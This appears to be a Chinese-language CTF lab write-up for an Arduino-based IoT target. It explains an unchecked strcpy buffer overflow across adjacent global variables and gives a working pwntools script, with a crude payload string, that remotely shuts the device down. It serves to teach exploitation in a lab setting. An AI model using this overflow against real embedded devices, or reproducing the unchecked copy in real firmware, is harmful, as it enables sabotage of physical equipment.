[Control-Chaos] Heart Broken(心臟破裂)
信息
信息 | 描述 |
---|---|
靶場名稱 | Heart Broken |
地址 | GitHub: Heart Broken |
難度 | 中等 |
人數推薦 | 1–2人 |
類型 | CTF、IoT漏洞分析、逆向工程、Buffer Overflow、故事解謎 |
描述 | Heart Broken 是一個結合 CTF、IoT 漏洞利用、故事推理解謎與二進位漏洞分析的沉浸式靶場。參與者將面對硬體裝置、網路攻擊與真實逆向挑戰,揭開一場科技競賽背後的陰謀與報復行動。 |
環境部署 (192.168.8.103)
準備模塊ENC28J60和Arduino UNO并且按照接綫圖接綫
打開./web/file/HeartBroken.zip中的HeartBroken.ino進行燒錄
安裝頭文件依賴
將設備鏈接有綫網絡,并且將USB口插入靶機
$ sudo python3 robot.py
$ nmap -p 10032 192.168.8.0/24 --min-rate 1000 -Pn --open
進入web目錄執行
$ python3 app.py -iot 192.168.0.100
部署成功
逆向分析
http://192.168.8.103:5000/file/HeartBroken.zip
$ unzip HeartBroken.zip
#include <Arduino.h>
#include <UIPEthernet.h>
char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];const int BAUDRATE = 9600;
const int SERVER_PORT = 10032;byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
EthernetServer server(SERVER_PORT);void setup() {Serial.begin(BAUDRATE);delay(1000);Ethernet.begin(mac);server.begin();Serial.println("LCD:SLEEP...");
}void loop() {EthernetClient client = server.available();if (client) {String data = "";strcpy(powerStatus, "PWR:1");strcpy(lcdDisplay, "LCD:SLEEP...");while (client.connected()) {while (client.available()) {char c = client.read();data += c;if (c == '\n') {strcpy(serialCommand, data.c_str());if (powerStatus[4] == '1') {Serial.println(powerStatus);} else if (powerStatus[4] == '0') {Serial.println(powerStatus);} Serial.println(lcdDisplay);data = "";}}delay(100);}client.stop();}
}
我們的目標是讓對方機器人關機,所以我們需要控制powerStatus為0
確認設備的IP地址
$ nmap -p 10032 192.168.8.0/24 --open --min-rate 1000
$ arp -a
和源程序的MAC地址一致
反向BOF攻擊 && Arduino UNO && SRAM
000223e5 char data_223e5[0xc] = “powerStatus”, 0
000223f1 char data_223f1[0xb] = “lcdDisplay”, 0
000223fc char data_223fc[0xe] = “serialCommand”, 0
在原程序中我們將通過網路發送數據。會經過
strcpy(serialCommand, data.c_str());
并且程序沒有做邊界檢查
是否存在緩衝區溢出漏洞?
我們首先要知道的是 Arduino UNO 時出現這種內存溢出情況,是因為 AVR 微控制器(ATmega328P)採用的是靜態內存分配 + 線性內存模型,且全局變量排列是連續的、固定的。這就導致一個變量的溢出可能直接覆蓋掉前後相鄰的變量資料。
全局/靜態變數從 SRAM 底部向上分配。
地址 ↑ 高
+-------------------------+ ← RAM 的高位址
| |
| 上層:堆疊(Stack) | ← 自上而下增長
| |
+-------------------------+ ← 當前 SP 指向的位置
| |
| 未分配區(Gap) | ← Heap 與 Stack 的「碰撞區」
| |
+-------------------------+
| |
| 下層:堆(Heap) | ← 自下而上增長
| |
+-------------------------+
| 全局變量 / 靜態變量區(.data/.bss)|
+-------------------------+ ← SRAM 的最低位址
地址 ↓ 低
源程序給出
char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];
則需要構造"A"*8溢出serialCommand
然後"LCD:1…30"溢出lcdDisplay
然後"PWR:0"進入powerStatus[4] == '0’來關閉機器
他看起來是這樣的,應該可以工作。
# Maptnh@S-H4CK13
from pwn import *h = '192.168.8.100'
p = 10032
con = remote(h, p)
print("[+] Injection payload....")
payload = 'A' * 8 + "LCD:FUCK-YOU-SLEEP-BITCH" + '0' * 6 + "PWR:0"
con.sendline(payload)
print("[*] Done....")
con.close()
$ python3 exp.py
他工作了。。。
░░░░░░░░░░░█▀▀░░█░░░░░░
░░░░░░▄▀▀▀▀░░░░░█▄▄░░░░
░░░░░░█░█░░░░░░░░░░▐░░░
░░░░░░▐▐░░░░░░░░░▄░▐░░░
░░░░░░█░░░░░░░░▄▀▀░▐░░░
░░░░▄▀░░░░░░░░▐░▄▄▀░░░░
░░▄▀░░░▐░░░░░█▄▀░▐░░░░░
░░█░░░▐░░░░░░░░▄░█░░░░░
░░░█▄░░▀▄░░░░▄▀▐░█░░░░░
░░░█▐▀▀▀░▀▀▀▀░░▐░█░░░░░
░░▐█▐▄░░▀░░░░░░▐░█▄▄░░░
░░░▀▀▄░░░░░░░░▄▐▄▄▄▀░░░
░░░░░░░░░░░░░░░░░░░░░░░